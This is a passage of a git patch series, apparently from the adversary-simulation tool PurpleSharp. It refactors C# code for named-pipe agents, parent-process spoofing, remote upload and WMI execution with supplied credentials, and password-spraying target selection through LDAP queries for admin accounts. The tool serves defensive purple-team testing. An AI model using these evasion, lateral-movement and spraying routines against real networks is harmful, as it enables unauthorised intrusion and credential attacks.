logger.TimestampInfo(String.Format("Recon identified {0} logged in. Process to Spoof: {1} PID: {2}", duser, parentprocess.ProcessName, parentprocess.Id)); - payload = String.Format("{0},{1},{2},{3}", duser, parentprocess.ProcessName, parentprocess.Id, privileged.ToString()); - - } - else - { - payload = ",,,"; - logger.TimestampInfo("Recon did not identify any logged users"); - } - writer.WriteLine(payload); - writer.Flush(); - } - else if (line.ToLower().StartsWith("sc:")) - { - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("technique:")) - { - technique = line.Replace("technique:", ""); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("variation:")) - { - variation = Int32.Parse(line.Replace("variation:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("pbsleep:")) - { - pbsleep = Int32.Parse(line.Replace("pbsleep:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("tsleep:")) - { - tsleep = Int32.Parse(line.Replace("tsleep:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("opsec:")) - { - opsec = line.Replace("opsec:", ""); - //logger.TimestampInfo("Got opsec technique from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("cleanup:")) - { - cleanup = line.Replace("cleanup:", ""); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("simrpath:")) - { - simrpath = line.Replace("simrpath:", ""); - //logger.TimestampInfo("sending back to client: " + "ACK"); - //simpath = "C:\\Users\\" + loggeduser + "\\Downloads\\" + simbin; - simpfath = "C:\\Users\\" + user + "\\" + simrpath; - int index = simrpath.LastIndexOf(@"\"); - simbinary = simrpath.Substring(index + 1); - - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.Equals("act")) - { - logger.TimestampInfo("Received act!"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - - if (opsec.Equals("ppid")) - { - logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); - logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); - logger.TimestampInfo("Executing: " + simpfath + " /n"); - //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); - //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); - - Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); - //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); - - System.Threading.Thread.Sleep(3000); - logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + technique + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); - RunNoAuthClient(simulator_np, "technique:" + technique +" variation:"+ variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:"+tsleep.ToString() + " cleanup:" + cleanup); - System.Threading.Thread.Sleep(2000); - } - } - else if (line.ToLower().Equals("quit")) - { - logger.TimestampInfo("Received quit! Exitting namedpipe"); - //logger.TimestampInfo("sending back to client: " + "quit"); - writer.WriteLine("quit"); - writer.Flush(); - running = false; - } - pipeServer.Disconnect(); - } - } - } - catch (Exception ex) - { - logger.TimestampInfo(ex.ToString()); - logger.TimestampInfo(ex.Message.ToString()); - } - } - public static void RunScoutServiceSerialized(string scout_np, string simulator_np, string log) { + //Based on https://github.com/malcomvetter/NamedPipes + string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); bool running = true; @@ -362,7 +165,6 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n logger.TimestampInfo(ex.Message.ToString()); } } - private static byte[] ReadMessage(PipeStream pipe) { byte[] buffer = new byte[1024]; @@ -378,56 +180,6 @@ private static byte[] ReadMessage(PipeStream pipe) return ms.ToArray(); } } - - public static string[] RunSimulationService(string npipe, string log) - { - string[] result = new string[5]; - try - { - //https://helperbyte.com/questions/171742/how-to-connect-to-a-named-pipe-without-administrator-rights - PipeSecurity ps = new PipeSecurity(); - ps.SetAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow)); - - //logger.TimestampInfo("starting!"); - string technique, pbsleep, tsleep, cleanup, variation; - using (var pipeServer = new NamedPipeServerStream(npipe, PipeDirection.InOut, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous, 4028, 4028, ps)) - - { - var reader = new StreamReader(pipeServer); - var writer = new StreamWriter(pipeServer); - - pipeServer.WaitForConnection(); - var line = reader.ReadLine(); - - if (line.ToLower().StartsWith("technique:")) - { - string[] options = line.Split(' '); - technique = options[0].Replace("technique:", ""); - variation = options[1].Replace("variation:", ""); - pbsleep = options[2].Replace("pbsleep:", ""); - tsleep = options[3].Replace("tsleep:", ""); - cleanup = options[4].Replace("cleanup:", ""); - writer.WriteLine("ACK"); - writer.Flush(); - - result[0] = technique; - result[1] = variation; - result[2] = pbsleep; - result[3] = tsleep; - result[4] = cleanup; - return result; - } - pipeServer.Disconnect(); - } - return result; - } - catch - { - return result; - } - - } - public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; @@ -469,31 +221,10 @@ public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, st } } - - //Based on https://github.com/malcomvetter/NamedPipes - public static string RunClient(string rhost, string domain, string ruser, string rpwd, string npipe, string request) - { - using (new Impersonation(domain, ruser, rpwd)) - { - using (var pipeClient = new NamedPipeClientStream(rhost, npipe, PipeDirection.InOut)) - { - pipeClient.Connect(100000); - pipeClient.ReadMode = PipeTransmissionMode.Message; - - var reader = new StreamReader(pipeClient); - var writer = new StreamWriter(pipeClient); - writer.WriteLine(request); - writer.Flush(); - var result = reader.ReadLine(); - return (result.ToString()); - - - } - } - } - public static string RunClientSerialized(string rhost, string domain, string ruser, string rpwd, string npipe, byte[] serialized_object) { + //Based on https://github.com/malcomvetter/NamedPipes + using (new Impersonation(domain, ruser, rpwd)) { using (var pipeClient = new NamedPipeClientStream(rhost, npipe, PipeDirection.InOut)) @@ -510,23 +241,6 @@ public static string RunClientSerialized(string rhost, string domain, string rus } } } - - public static string RunNoAuthClient(string npipe, string request) - { - using (var pipeClient = new NamedPipeClientStream(".", npipe, PipeDirection.InOut)) - { - pipeClient.Connect(10000); - pipeClient.ReadMode = PipeTransmissionMode.Message; - - var reader = new StreamReader(pipeClient); - var writer = new StreamWriter(pipeClient); - writer.WriteLine(request); - writer.Flush(); - var result = reader.ReadLine(); - return (result.ToString()); - } - } - public static string RunNoAuthClientSerialized(string npipe, byte[] serialized_object) { using (var pipeClient = new NamedPipeClientStream(".", npipe, PipeDirection.InOut)) diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index a69f7da..a6a3191 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -484,91 +484,6 @@ public static void Main(string[] args) } } - public static void Scout(string rhost, string domain, string ruser, string rpwd, string scoutfpath, string log, string scout_action, string scout_np, bool verbose) - { - List actions = new List() { "all", "wef", "pws", "ps", "svcs", "auditpol", "cmdline" }; - - if (!actions.Contains(scout_action)) - { - Console.WriteLine("[*] Not supported."); - Console.WriteLine("[*] Exiting"); - return; - } - if (rpwd == "") - { - Console.Write("Password for {0}\\{1}: ", domain, ruser); - rpwd = Utils.GetPassword(); - Console.WriteLine(); - } - string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = scoutfpath.LastIndexOf(@"\"); - string scoutFolder = scoutfpath.Substring(0, index + 1); - string args = "/o"; - - Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, scoutfpath, rhost, ruser, rpwd, domain); - - Console.WriteLine("[+] Executing the Scout via WMI ..."); - RemoteLauncher.wmiexec(rhost, scoutfpath, args, domain, ruser, rpwd); - Console.WriteLine("[+] Connecting to the Scout ..."); - - string result = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "SYN"); - if (result.Equals("SYN/ACK")) - { - Console.WriteLine("[+] OK"); - string results; - - if (scout_action.Equals("all")) - { - string temp; - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "wef"); - results = Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "pws"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "cmdline"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "ps"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "svcs"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - temp = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "auditpol"); - results += Encoding.UTF8.GetString(Convert.FromBase64String(temp)); - - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); - - } - else - { - results = NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, scout_action); - results = Encoding.UTF8.GetString(Convert.FromBase64String(results)); - NamedPipes.RunClient(rhost, domain, ruser, rpwd, scout_np, "quit"); - } - if (verbose) - { - Console.WriteLine("[+] Grabbing the Scout output..."); - System.Threading.Thread.Sleep(1000); - string sresults = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(sresults); - } - Console.WriteLine("[+] Scout Results..."); - Console.WriteLine(); - Console.WriteLine(results); - Console.WriteLine(); - Console.WriteLine("[+] Cleaning up..."); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(scoutfpath, rhost, ruser, rpwd, domain); - Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - } - } public static void RunScoutEnumeration(CommandlineParameters cmd_params) { List actions = new List() { "all", "wef", "pws", "ps", "svcs", "auditpol", "cmdline" }; @@ -816,128 +731,6 @@ public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_p } } } - public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized_old(string rhost, string domain, string ruser, string rpwd, string scout_np, SimulationPlaybook playbook, string log, bool verbose) - { - // techniques that need to be executed from a high integrity process - string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; - - string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; - int index = playbook.scout_full_path.LastIndexOf(@"\"); - string scoutFolder = playbook.scout_full_path.Substring(0, index + 1); - Thread.Sleep(3000); - - if (playbook.opsec.Equals("ppid")) - { - string result = ""; - string args = "/o"; - - //Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, playbook.scout_full_path, rhost, ruser, rpwd, domain); - - //Console.WriteLine("[+] Executing the Scout via WMI ..."); - RemoteLauncher.wmiexec(rhost, playbook.scout_full_path, args, domain, ruser, rpwd); - //Console.WriteLine("[+] Connecting to namedpipe service ..."); - - SimulationRequest sim_request = new SimulationRequest("SYN", "regular", playbook); - //if (privileged_techniques.Contains(techniques.ToUpper())) sim_request.recon_type = "privileged"; - byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, bytes_sim_rqeuest); - SimulationResponse sim_response = JsonConvert.DeserializeObject(result); - - - - if (sim_response.header.Equals("SYN/ACK")) - { - //Console.WriteLine("[+] OK"); - string duser = sim_response.recon_response.user; - if (duser == "") - { - - Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + rhost + "?"); - sim_request = new SimulationRequest("FIN"); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); - Thread.Sleep(1000); - RemoteLauncher.delete(playbook.scout_full_path, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - //Console.WriteLine("[!] Exitting."); - return null; - } - else - { - string user = duser.Split('\\')[1]; - string simfpath = "C:\\Users\\" + user + "\\" + playbook.simulator_relative_path; - int index2 = playbook.simulator_relative_path.LastIndexOf(@"\"); - string simrfolder = playbook.simulator_relative_path.Substring(0, index2 + 1); - - string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; - - //Console.WriteLine("[+] Uploading Simulator to " + simfpath); - RemoteLauncher.upload(uploadPath, simfpath, rhost, ruser, rpwd, domain); - - //Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); - sim_request = new SimulationRequest("ACT"); - result = NamedPipes.RunClientSerialized(rhost, domain, ruser, rpwd, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); - - System.Threading.Thread.Sleep(5000); - bool finished = false; - int counter = 1; - string results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - while (finished == false) - { - if (results.Split('\n').Last().Contains("Playbook Finished")) - { - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - Console.WriteLine(); - RemoteLauncher.delete(playbook.scout_full_path, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(simfpath, rhost, ruser, rpwd, domain); - RemoteLauncher.delete(simfolder + log, rhost, ruser, rpwd, domain); - finished = true; - } - else - { - Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); - Thread.Sleep(counter * 10 * 1000); - results = RemoteLauncher.readFile(rhost, simfolder + log, ruser, rpwd, domain); - } - counter += 1; - } - return Json.GetPlaybookResult(results); - - } - } - else - { - //Console.WriteLine("[!] Could not connect to namedpipe service"); - return null; - } - } - else - { - //Console.WriteLine("[+] Uploading PurpleSharp to {0} on {1}", scoutfpath, rhost); - RemoteLauncher.upload(uploadPath, playbook.scout_full_path, rhost, ruser, rpwd, domain); - - string cmdline = "/t ";// + techniques; - //Console.WriteLine("[+] Executing PurpleSharp via WMI ..."); - RemoteLauncher.wmiexec(rhost, playbook.scout_full_path, cmdline, domain, ruser, rpwd); - Thread.Sleep(3000); - Console.WriteLine("[+] Obtaining results..."); - string results = RemoteLauncher.readFile(rhost, scoutFolder + log, ruser, rpwd, domain); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - //Console.WriteLine("[+] Cleaning up..."); - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); - RemoteLauncher.delete(playbook.scout_full_path, rhost, ruser, rpwd, domain); - // - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); - RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); - - return Json.GetPlaybookResult(results); - } - } public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(SimulationExercise exercise, SimulationPlaybook playbook, string scout_np, string simulator_np, string log) { // techniques that need to be executed from a high integrity process From 38fc4ef5f4c04d047b1d73972a1715773db8caec Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sun, 11 Apr 2021 02:04:06 -0400 Subject: [PATCH 11/20] re-factoring password spraying simulations --- PurpleSharp/Lib/Json.cs | 56 +-------- PurpleSharp/Lib/Ldap.cs | 29 ++++- PurpleSharp/Lib/Models.cs | 16 ++- PurpleSharp/Lib/Targets.cs | 111 +++++++++++++----- PurpleSharp/Program.cs | 52 ++++----- PurpleSharp/Simulations/CredAccess.cs | 126 +++++++-------------- PurpleSharp/Simulations/Discovery.cs | 6 +- PurpleSharp/Simulations/LateralMovement.cs | 6 +- 8 files changed, 194 insertions(+), 208 deletions(-) diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index a1c5e95..d5d6467 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -21,60 +21,6 @@ public static SimulationExercise ReadSimulationPlaybook(string jsoninput) return null; } } - - /* - public static PlaybookTaskResult GetTaskResult(string results) - { - - PlaybookTaskResult taskresult = new PlaybookTaskResult(); - List debugmsgs = new List(); - - - string[] lines = results.Split(new string[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - - foreach (string line in lines) - { - if (line.Contains("Starting")) - { - taskresult.timestamp = line.Substring(0, line.IndexOf('[')).Trim(); - - string strip = line.Substring(line.LastIndexOf("]") + 1).Replace("Starting ", "").Replace("Simulation on ", "").Trim(); - - taskresult.technique = strip.Split(' ')[0]; - //taskresult.host = strip.Split(' ')[1]; - } - else if (line.Contains("Simulator")) - { - //string strip = line.Substring(line.LastIndexOf("]") + 1).Replace("Simulator running from ", "").Replace("with PID:", "").Trim(); - //string strip = line.Substring(line.LastIndexOf("]") + 1).Replace("Simulator running from ", "").Replace("with PID:", "").Replace("as ", "").Trim(); - string strip = line.Substring(line.LastIndexOf("]") + 1).Replace("Simulator running from ", "").Replace("with PID:", "|").Replace("as ", "|").Trim(); - - //taskresult.simprocess = strip.Split('|')[0]; - //taskresult.simprocessid = Int32.Parse(strip.Split('|')[1]); - //taskresult.user = strip.Split('|')[2]; - } - else if (line.Contains("Simulation Finished")) - { - taskresult.success = true; - } - else if (line.Contains("Simulation Failed")) - { - taskresult.success = false; - } - else - { - TaskDebugMsg debugmsg = new TaskDebugMsg(); - debugmsg.msg = line; - debugmsgs.Add(debugmsg); - } - //Console.WriteLine(line.Substring(line.LastIndexOf(']') + 1)); - } - taskresult.debugmsgs = debugmsgs; - return taskresult; - //File.WriteAllText("result.json", JsonConvert.SerializeObject(taskresult)); - } - */ - public static SimulationExerciseResult GetSimulationExerciseResult(string results) { SimulationExerciseResult simulationresult = new SimulationExerciseResult(); @@ -368,7 +314,7 @@ public static SimulationExercise ConvertNavigatorToSimulationExercise(NavigatorL PlaybookTask task = new PlaybookTask(); - task.technique = technique.techniqueID; + task.technique_id = technique.techniqueID; tasks.Add(task); playbook.tasks = tasks; playbooks.Add(playbook); diff --git a/PurpleSharp/Lib/Ldap.cs b/PurpleSharp/Lib/Ldap.cs index fa39ce4..14b6350 100644 --- a/PurpleSharp/Lib/Ldap.cs +++ b/PurpleSharp/Lib/Ldap.cs @@ -15,12 +15,31 @@ public class User public string UserName { get; set; } public string DisplayName { get; set; } public bool isMapped { get; set; } + + public User(string username) + { + UserName = username; + } + public User() + { + } } public class Computer { public string ComputerName { get; set; } public string Fqdn { get; set; } public string IPv4 { get; set; } + + public Computer(string hostname, string ip) + { + ComputerName = hostname; + IPv4 = ip; + } + public Computer() + { + + } + } public class Ldap @@ -70,7 +89,7 @@ public static List GetADUsers(int count, Lib.Logger logger, string dc = "" SearchResult result; if (Enabled) logger.TimestampInfo("Querying for active domain users with badPwdCount <= 3.."); - else logger.TimestampInfo(" Querying for disabled domain users .."); + else logger.TimestampInfo("Querying for disabled domain users .."); SearchResultCollection resultCol = search.FindAll(); @@ -101,7 +120,7 @@ public static List GetADUsers(int count, Lib.Logger logger, string dc = "" } } - public static List GetADAdmins(int count) + public static List GetADAdmins(int count, Lib.Logger logger) { DirectoryEntry rootDSE = new DirectoryEntry("LDAP://RootDSE"); @@ -115,7 +134,7 @@ public static List GetADAdmins(int count) search.Filter = "(&(objectCategory=person)(objectClass=user)(adminCount=1)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; search.SizeLimit = count * 5; SearchResult result; - Console.WriteLine("[*] Querying for active administrative users (adminCount=1) .."); + logger.TimestampInfo("Querying for active administrative users (adminCount=1) .."); SearchResultCollection resultCol = search.FindAll(); if (resultCol != null) { @@ -137,11 +156,11 @@ public static List GetADAdmins(int count) } - public static List GetDomainAdmins() + public static List GetDomainAdmins(Lib.Logger logger) { List lstDas = new List(); PrincipalContext PC = new PrincipalContext(ContextType.Domain); - Console.WriteLine("[*] Querying for active Domain Admins .."); + logger.TimestampInfo("Querying for active Domain Admins .."); GroupPrincipal GP = GroupPrincipal.FindByIdentity(PC, "Domain Admins"); foreach (UserPrincipal member in GP.Members) { diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs index 179135d..23aebf6 100644 --- a/PurpleSharp/Lib/Models.cs +++ b/PurpleSharp/Lib/Models.cs @@ -106,12 +106,20 @@ public SimulationPlaybook() } public class PlaybookTask { - public string technique { get; set; } + // Generic variables + public string technique_id { get; set; } public int variation { get; set; } = 1; public int task_sleep { get; set; } = 0; public bool cleanup { get; set; } = true; - public int target_users { get; set; } = 10; - public int target_hosts { get; set; } = 10; + + // Password Spraying + public string protocol { get; set; } = "Kerberos"; + public int user_target_type { get; set; } = 1; + public int host_target_type { get; set; } = 1; + public int user_target_total { get; set; } = 5; + public int host_target_total { get; set; } = 5; + public string[] user_targets { get; set; } + public string[] host_targets { get; set; } public PlaybookTask() { @@ -119,7 +127,7 @@ public PlaybookTask() public PlaybookTask(string tech, int var, int t_sleep, bool cl = true) { - technique = tech; + technique_id = tech; variation = var; task_sleep = t_sleep; cleanup = cleanup; diff --git a/PurpleSharp/Lib/Targets.cs b/PurpleSharp/Lib/Targets.cs index c61849c..d556803 100644 --- a/PurpleSharp/Lib/Targets.cs +++ b/PurpleSharp/Lib/Targets.cs @@ -3,6 +3,7 @@ using System.DirectoryServices.AccountManagement; using System.Linq; using System.Net; +using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; @@ -12,7 +13,7 @@ namespace PurpleSharp.Lib public class Targets { - public static List GetNetworkNeighborTargets(int count) + public static List GetNetworkNeighborTargets(int count, Logger logger) { List targets = new List(); List neighbors = Lib.Networking.GetNeighbors(count); @@ -61,10 +62,10 @@ public static List GetDomainNeighborTargets(int count, Lib.Logger logg } - public static List GetDomainRandomTargets(int count, Lib.Logger logger) + public static List GetDomainRandomTargets(int count, Logger logger) { List targets = new List(); - Console.WriteLine("[*] Obtaining domain random targets ..."); + logger.TimestampInfo("Obtaining domain random targets ..."); targets = Ldap.GetADComputers(count, logger); return targets; @@ -113,58 +114,63 @@ public static List GetServerRangeTargets(int count) } - public static List GetRandomUsernames(int count) + public static List GetRandomUsernames(int count, Random random) { List users = new List(); - Console.WriteLine("[*] Generating random usernames ..."); for (int i = 0; i < count; i++ ) { - Random random = new Random(); string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - - User nuser = new User(); - nuser.UserName = new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray()); ; + User nuser = new User(new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray())); users.Add(nuser); } return users; } - public static List GetUserTargets(int usertype, int nuser, Lib.Logger logger) + public static List GetUserTargets(PlaybookTask playbook_task, Logger logger) { List targetusers = new List(); PrincipalContext context = new PrincipalContext(ContextType.Domain); string dc = context.ConnectedServer; - switch (usertype) + switch (playbook_task.user_target_type) { case 1: - - logger.TimestampInfo("Targeting domain neighbor users"); - targetusers = Ldap.GetADUsers(nuser, logger, dc, true); + logger.TimestampInfo("Targing playbook defined users"); + foreach (string user in playbook_task.user_targets) + { + User nuser = new User(user); + targetusers.Add(nuser); + } break; case 2: - logger.TimestampInfo("Targeting domain foreign users"); - targetusers = Ldap.GetADUsers(nuser, logger, "", true); + logger.TimestampInfo("Targeting randomly generated users"); + targetusers = Targets.GetRandomUsernames(playbook_task.user_target_total, new Random()); break; case 3: - logger.TimestampInfo("Targeting disabled users"); - targetusers = Ldap.GetADUsers(nuser, logger, dc, false); + logger.TimestampInfo("Targeting random domain users"); + targetusers = Ldap.GetADUsers(playbook_task.user_target_total, logger, dc, true); + logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); + break; case 4: logger.TimestampInfo("Targeting administrative accounts (adminCount=1) "); - targetusers = Ldap.GetADAdmins(nuser); + targetusers = Ldap.GetADAdmins(playbook_task.user_target_total, logger); + logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); break; case 5: logger.TimestampInfo("Targeting domain admins"); - targetusers = Ldap.GetDomainAdmins(); + targetusers = Ldap.GetDomainAdmins(logger); + logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); break; - + case 6: - targetusers = Targets.GetRandomUsernames(nuser); + logger.TimestampInfo("Targeting disabled users"); + targetusers = Ldap.GetADUsers(playbook_task.user_target_total, logger, dc, false); + logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); break; default: @@ -174,7 +180,7 @@ public static List GetUserTargets(int usertype, int nuser, Lib.Logger logg return targetusers; } - public static List GetHostTargets(int servertype, int nhosts, Lib.Logger logger) + public static List GetHostTargets_old(int servertype, int nhosts, Lib.Logger logger) { List targethosts = new List(); /* @@ -183,19 +189,15 @@ public static List GetHostTargets(int servertype, int nhosts, Lib.Logg case 1: targethosts = GetDomainNeighborTargets(nhosts); break; - case 2: targethosts = GetDomainRandomTargets(nhosts); break; - case 3: targethosts = GetServerRangeTargets(nhosts); break; - case 4: targethosts = GetNetworkNeighborTargets(nhosts); break; - default: return targethosts; } @@ -205,5 +207,60 @@ public static List GetHostTargets(int servertype, int nhosts, Lib.Logg } + public static List GetHostTargets(PlaybookTask playbook_task, Lib.Logger logger) + { + List host_targets = new List(); + Computer host_target = new Computer(); + bool isValidIp; + + switch (playbook_task.host_target_type) + { + case 1: + IPAddress ipAddress = null; + isValidIp = IPAddress.TryParse(playbook_task.host_targets[0], out ipAddress); + if (isValidIp) host_target = new Computer("", playbook_task.host_targets[0]); + else host_target = new Computer(playbook_task.host_targets[0], Networking.ResolveHostname(playbook_task.host_targets[0]).ToString()); + logger.TimestampInfo(String.Format("Using {0} {1} as the target", host_target.ComputerName, host_target.IPv4)); + host_targets.Add(host_target); + + break; + + case 2: + logger.TimestampInfo("Targeting a random domain host target"); + host_targets = GetDomainNeighborTargets(playbook_task.host_target_total, logger); + logger.TimestampInfo(String.Format("Obtained {0} host records", host_targets.Count)); + var random = new Random(); + int index = random.Next(host_targets.Count); + host_target = host_targets[index]; + logger.TimestampInfo(String.Format("Randomly picked {0} {1} as the target", host_target.ComputerName, host_target.IPv4)); + host_targets.Clear(); + host_targets.Add(host_target); + break; + + case 3: + + logger.TimestampInfo(String.Format("Targeting {0} hosts defined in playbook", playbook_task.host_targets.Length)); + for (int i = 0; i < playbook_task.host_targets.Length; i++) + { + isValidIp = IPAddress.TryParse(playbook_task.host_targets[i], out ipAddress); + if (isValidIp) host_target = new Computer("", playbook_task.host_targets[i]); + else host_target = new Computer(playbook_task.host_targets[i], Networking.ResolveHostname(playbook_task.host_targets[i]).ToString()); + host_targets.Add(host_target); + } + break; + + case 4: + logger.TimestampInfo("Targeting random domain hosts"); + host_targets = GetDomainNeighborTargets(playbook_task.host_target_total, logger); + logger.TimestampInfo(String.Format("Obtained {0} host records", host_targets.Count)); + break; + + default: + return host_targets; + } + return host_targets; + + } + } } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index a6a3191..27387d5 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -312,7 +312,7 @@ public static void Main(string[] args) PlaybookTask lastTask = playbook.tasks.Last(); foreach (PlaybookTask task in playbook.tasks) { - ExecutePlaybookTechnique(task, log); + ExecutePlaybookTask(task, log); if (playbook.playbook_sleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.playbook_sleep); } logger.TimestampInfo("Playbook Finished"); @@ -345,7 +345,7 @@ public static void Main(string[] args) List techs = new List(); foreach (PlaybookTask task in playbook.tasks) { - techs.Add(task.technique); + techs.Add(task.technique_id); } string techs2 = String.Join(",", techs); if (playbook.remote_host.Equals("random")) @@ -878,18 +878,18 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(Sim } - public static void ExecutePlaybookTechnique(PlaybookTask task, string log) + public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) { var rand = new Random(); - switch (task.technique) + switch (playbook_task.technique_id) { //// Initial Access //// //// Execution //// case "T1059.001": - if (task.variation == 1) Simulations.Execution.ExecutePowershellCmd(log); + if (playbook_task.variation == 1) Simulations.Execution.ExecutePowershellCmd(log); else Simulations.Execution.ExecutePowershellNET(log); break; @@ -918,26 +918,26 @@ public static void ExecutePlaybookTechnique(PlaybookTask task, string log) //T1053.005 - Scheduled Task case "T1053.005": - Simulations.Persistence.CreateScheduledTaskCmd(log, task.cleanup); + Simulations.Persistence.CreateScheduledTaskCmd(log, playbook_task.cleanup); break; case "T1136.001": - if (task.variation == 1) Simulations.Persistence.CreateLocalAccountApi(log, task.cleanup); - else 